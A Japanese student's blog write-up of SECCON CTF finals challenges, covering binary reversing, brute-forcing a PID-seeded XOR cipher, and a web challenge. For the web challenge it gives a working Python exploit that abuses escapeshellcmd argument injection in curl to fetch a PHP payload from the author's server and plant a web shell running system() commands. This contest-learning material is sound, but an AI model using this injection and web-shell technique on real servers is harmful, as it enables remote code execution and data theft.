とてむのログおきば

だらだらとパソコンを触る大学生のブログ

SECCON決勝大会に参加した

お久しぶりです
totemです

先日、SECCONの決勝大会にチームriroshiで参加させていただいたので、writeupとかを書いておこうかと思います。

チームriroshiは大学の友人達とのチームで、僕含め3人のctf素人(@bbottait, @celtak, @kn1cht)と、1人のpwnのプロ(@satos___jp)によるチームです。

素人sがどれくらい素人かというと、僕はctf歴半年未満、2人はctf参加は予選と合わせて2回目という状態です。(でも予選の時SECCON Towerを打ち破っているので力自体はある)

なぜ、大半が素人のチームがSECCONの決勝に参加できたかというと、SECCON横浜大会の参加者が1人だったからです。
皆さん、来年はSECCON横浜大会に参加しましょう。

結果を書きますと、獲得した点は750点で確か17位で、日本の学生チーム内2位(!)でした。

riroshiチームが解いた問題は、サーバー四と五のAttack、サーバー五のDefense、サーバー六のJeopardyの内、bin2問とpwn1問、for1問とweb1問です。

satosがサーバー四と五のAttack、六のpwnを片付けてくれました。
残りの問題の内、僕が解いたのはbin2問とweb1問、サーバー五のDefenseでした。

writeupを書いておきます

サーバー六 問1 welcome

welcomeというファイルと以下の出力が与えられます

LFU70EN3M7{WW{6LS}O0037I9VKUMSE{VI2C84ZO9UGW154QEYFLYGHN9C0VVR0V94PMD582Y{XTOIJ1
CXTM{CJX8UO8}EIO1{UKR0PSL{{TNHJDCH9GW}F50K}N93_H56E{5M6P45WDOBZDOVM055N6M{2EZD}4
L7{4U9V7NK3NV{}{NAAIE4Z5_}YK2TI0H7A5R6SR_2683W9}{NAQV2CPD86JQ3}4G18TPCSQT{5F6PQU
WZZ3OYFMSRLPJY1MSP3SO{B13MX6Y}NNEIF30INFV2DUAACZ0IGTW{PPGCIJQYUELA18FUEWLJO6XRNE
4RFRLNRI58MQDSG}C5GYZOO64322VTWIP81_8X7B7_TYTSE0O6AOTBIOPQQLTMKXV8TZFBRPBEXU5TVL
M0JAH1BI0OHP}QO3CQILQE1YORJXLSXJE4T60_AKCJH05CCFT8LTPV{C3PB8LN8O_R1BNS{WDC6}{IB}
3JQO6{}EG_}NP_QTTI070ZDUITGWY3A8VKDIH1AJSNYTX5AUOZ0S2N}Y}B18X2N_9GYFZH5YEW{2KE09
_C90O74HFSY9OZB4X2XCUGCRWDSFW7LDSAOYM5HOAP_HLZ1HHYQFV{QYTJNUWW37E1JPA3Q8DXP457EJ
4T2}BSV7RT{4JYMPCTJESJM6MP7I9{37LQ1G5ZZ_ETZRCR2TCDAIXWP_P3QT5026YMZCFSDRPT6N2P7}
OBDTJWF2SQKQOZ9OTFTX05NIL3MJY64EN_KTBDWUI8RJDO{UWTA}NGWZ8MS2UHC}_MP18DITIWEG0QXE
RNQ10E4C7HIVFM{EC9K1TG806NG}E494EP5L656ZN_QCZP9GT8F{S_V47G2YSYBEPJ}XL4C8CDXG24UR
F}FA_EA_HZKLQ0HJXMF_6XTNZJLAGJY6__5OASMJX4Z_WZVSKQS2ENZB_929TR0G2TTSLNSG0{6B64{}
9C9T0G4WK2OD06N{0AHI{Q8KII4Z7LOX5WIO2XWZYJNT_VBA1BF0UHE8BEPW4ZSGLY4_WSMVJGUHF82W
6SPSW5RJY9{11QBFZSOJ3JXSW2B3Q}3Z}H4W08AJNZK}DQ}}
welcome: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped

x86-64のstrippedなELFバイナリです。
実行時に引数を与えると、似たような解読できない出力がされます
僕は賢い方法を知らないので、Hopper DisassemblerのDEMOバージョンでゴリゴリとアセンブル結果を読んでいきました

ゴリゴリとアセンブル結果を読んでいくと、はじめに16文字、入力とは全く関係ない、乱数によって決められる文字が出力されていることがわかります。(乱数のseedはtimeなので変化します) そして17文字目に入力の1文字目がそのまま出力され、次に15文字また入力とは全く関係ない文字が出力されていることがわかります。

つまり

src = "LFU70EN3M7{WW{6LS}O0037I9VKUMSE{VI2C84ZO9UGW154QEYFLYGHN9C0VVR0V94PMD582Y{XTOIJ1CXTM{CJX8UO8}EIO1{UKR0PSL{{TNHJDCH9GW}F50K}N93_H56E{5M6P45WDOBZDOVM055N6M{2EZD}4L7{4U9V7NK3NV{}{NAAIE4Z5_}YK2TI0H7A5R6SR_2683W9}{NAQV2CPD86JQ3}4G18TPCSQT{5F6PQUWZZ3OYFMSRLPJY1MSP3SO{B13MX6Y}NNEIF30INFV2DUAACZ0IGTW{PPGCIJQYUELA18FUEWLJO6XRNE4RFRLNRI58MQDSG}C5GYZOO64322VTWIP81_8X7B7_TYTSE0O6AOTBIOPQQLTMKXV8TZFBRPBEXU5TVLM0JAH1BI0OHP}QO3CQILQE1YORJXLSXJE4T60_AKCJH05CCFT8LTPV{C3PB8LN8O_R1BNS{WDC6}{IB}3JQO6{}EG_}NP_QTTI070ZDUITGWY3A8VKDIH1AJSNYTX5AUOZ0S2N}Y}B18X2N_9GYFZH5YEW{2KE09_C90O74HFSY9OZB4X2XCUGCRWDSFW7LDSAOYM5HOAP_HLZ1HHYQFV{QYTJNUWW37E1JPA3Q8DXP457EJ4T2}BSV7RT{4JYMPCTJESJM6MP7I9{37LQ1G5ZZ_ETZRCR2TCDAIXWP_P3QT5026YMZCFSDRPT6N2P7}OBDTJWF2SQKQOZ9OTFTX05NIL3MJY64EN_KTBDWUI8RJDO{UWTA}NGWZ8MS2UHC}_MP18DITIWEG0QXERNQ10E4C7HIVFM{EC9K1TG806NG}E494EP5L656ZN_QCZP9GT8F{S_V47G2YSYBEPJ}XL4C8CDXG24URF}FA_EA_HZKLQ0HJXMF_6XTNZJLAGJY6__5OASMJX4Z_WZVSKQS2ENZB_929TR0G2TTSLNSG0{6B64{}9C9T0G4WK2OD06N{0AHI{Q8KII4Z7LOX5WIO2XWZYJNT_VBA1BF0UHE8BEPW4ZSGLY4_WSMVJGUHF82W6SPSW5RJY9{11QBFZSOJ3JXSW2B3Q}3Z}H4W08AJNZK}DQ}}"

result = ""
for i in range(34):
    result += src[16+i*32]
print result

これでフラグが得られました

どうえもいいですが乱数は、はじめにx=timeとして、 x = x*0x41c64e6d+0x3039 & 0x7fffffff といった更新を行い、このxを浮動小数レジスタで足したり割ったりキャストしたりして乱数を出力していました

ググったら、これは線形合同法による乱数の出力でポケモンの乱数とかにもよく使われる有名なやつみたいでした(知らなかった)

サーバー六 問2 pidrandom

encrypted.txtというテキストファイルとencryptという32bitのELFのバイナリが与えられました。
encryptedの中身は

dc21110bdac4c91f45895063a68859075880721652e643b6ccedc7849d228917d9529a2cc73baf1572a255bfe0dc70ab3f652716ad5c4b

でした
kn1chtがstraceの結果、pidをseedにして、randomを呼び出しているということを見つけてくれてたので、やるだけでした。
Hopper Disassemblerで読むとrandomとxorをしているみたいでした。

まずは以下のスクリプトで、encrypted.txtをバイナリに直します(本来structとか使うべきな気がする…)

f = open('encrypted.txt')
f2 = open('decoded.txt', 'wb')
a = f.read()
for i in range(55):
    b = int(a[i*2:i*2+2],16)
    c = chr(b)
    f2.write(c) 

pidはたかだか10**4のオーダーなので、全探索します

#include <stdio.h>
#include <stdlib.h>

int main() {
    FILE* fw = fopen("decrypted.txt", "w");
    for(int i = 0;i < 10000;i++) {
        FILE* fp = fopen("decoded.txt", "rb");
        srandom(i);
        for(int i = 0;i < 55;i++) {
            char buf;
            fread(&buf, 1, 1, fp);
            buf = buf^random();
            fwrite(&buf, 1, 1, fw);
        }
        fclose(fp);
        fwrite("\n", 1, 1, fw);
    }
    fclose(fw);
}

decrypted.txtの中を検索するとフラグがありました。

サーバー六 問5 2016-10033-ish

web問なので、webサイトが与えられます。
またフラグは/FLAGhereにあることが知らされました。

問題文の2016-10033で検索するとCVE-2016-10033が見つかりました。
これはPHPMailerで任意コードが実行できるという脆弱性でした。

ページを見ていくとcss-selector.phpでwebページのcssを選択できるという仕組みがありました。
kn1chtが、ここのcss-selector.phpで、css-selector.php?css=./css-selector.php とすることでwebページのソースを取得できることを見つけてくれました。

ソースを読むと、アドレスを入力として受け取り、それをescapeshellcmdでエスケープしたのち、そのアドレスに対しcurlをするという部分がありました。

escapeshellcmdのエスケープにはCVE2016-10033を引き起こしたように、問題があります。
curlのオプションでログファイルを書き出せるので、そこにphpファイルを作成し、OSコマンドを実行させることを考えます。
phpのコードを流し込むのには、こちらで建てたサーバーにあるファイルを読ませるという手法を取りました。 [追記] ログファイルに書き込ませてますが、普通にcurl -Oで取ってくればファイルが保存されるのでそれでよかったです…

流し込んだphpファイル

<br><?php system("ls ../FLAGhere"); ?><br><s>hogehogehoge</s>
<br><?php system("cat ../FLAGhere/F1AgFi1E"); ?><br>

実行したpythonスクリプト

import sys
import httplib

conn = httplib.HTTPConnection("10.100.6.2") #problem server

payload = '192.168.2.6/payload.txt' #my server
url = '/css-selector.php?host='+payload+'"%20"-O"%20"--trace-ascii"%20"hogeYamada.php"%20"&tool=curl'
print url 
conn.request("GET", url)
response = conn.getresponse()

print response.status, response.reason
data = response.read()
print data

conn.request("GET", "/writabletmp/hogeYamada.php")
response = conn.getresponse()
print response.status, response.reason
data = response.read()
print data

サーバー五 Defense

サーバー五のAttackではヘブライ語のみでシェルコードを書くという問題でsatos先生が解いてくれました。
Linuxに慣れていないsatos先生に変わってDefense部分はやりました。

Defenseではディフェンスキーワードをhttp://5.finals.seccon.jp/defense/flag.txtに書き込む必要があります。
制約として、シェルを立ち上げられないということがありました。

このwebサイトはnginxのサーバーを利用していました。 まずは、フラグこのflag.txtがどこにあるかを特定するため、catでnginx.confを見ます。 するとサーバーのrootは/usr/share/nginx/html だということがわかりました。

これに対して、フラグを書き込まなくてはならないのですが、シェルが使えないので>で書き込むことができません。
また、sedを用いて書き込もうとしてもなぜか上手くいかず書き込むことができませんでした。

悩んでいたらふとshのオプション-cでコマンドを実行すればいいということに気づきました。
/bin/sh -c “echo ${フラグキーワード} >> /usr/share/nginx/html/defense/flag.txt”
これでDefenseポイントが取れました

他に解きたかった問題

最近web問を重点的に勉強してたのでサーバー二のweb問は取りたかったです…
問二はRabbit PlanetというSNSサイトが与えられる問題です
ThreadにCSPについての言及があったので、XSSに当たりをつけて探すとMessageの部分でXSSが可能ぽさそうでした。
コメントはwebページとは違うドメインから読み込まれてCSPでスクリプト実行ができないので、baseタグインジェクションでなんとかしようと思っていました。
baseタグインジェクションをしようとしたらJSONパースでerrorを起こして、どうしようと思ってたらMessageのサーバー自体が落ちたので放置しました。

翌日は他のチームがあまり攻略できてなかったのと、具体的にその後どうするか思いついてなかったので手をつけませんでした。

また、横浜大会でunityのil2cppとかについて調べてたのでサーバー六のweb問も取りたかったです…
サーバー六のweb問は、Unityのwebglで作られたパズドラlikeなゲームが与えられて、100回コンボしろという問題でした
他の解いたチームに聞いたところ、cheatengineを用いて、時間を遅くしてコンボ数の変化を追ってメモリチートをして100回コンボしたということでした。
実際、メモリチート自体は思いついて、うさみみハリケーンで試したのですが、コンボが終わった後にコンボ数をサーチしていたりして、コンボが伸びていく途中でメモリサーチするとこまで考えが及ばなかったので反省です…

また僕はpwnが一切できないので、他の問題は全然解けませんでした….
サーバー1も実行ファイルを読むだけ読んで、囲碁AIのプログラムの入力のバリデーションが最初と最後の[]しか見ておらず、オーバーフローが可能なことには気づいていたのですが、pwnが出来ないのでそこを突くことができませんでした。

やっぱり大きな大会だとpwnが出来ないと点が取れないので、次回に向けてきちんとpwnを勉強しておきたいと思います。

最後に

これは反省なのですが、徹夜したら体力が持たず懇親会を中締めで撤退してしまったので、それなりに寝たほうがいいです…
しかも2日目、会場では一問も解けてないので損しました…

運営の方々やボランティアの方々、電機大の方、スポンサーの方々、本当にありがとうございました。
電機大前の武蔵屋さんのラーメン美味しかったです。(nomukenさんありがとうございます)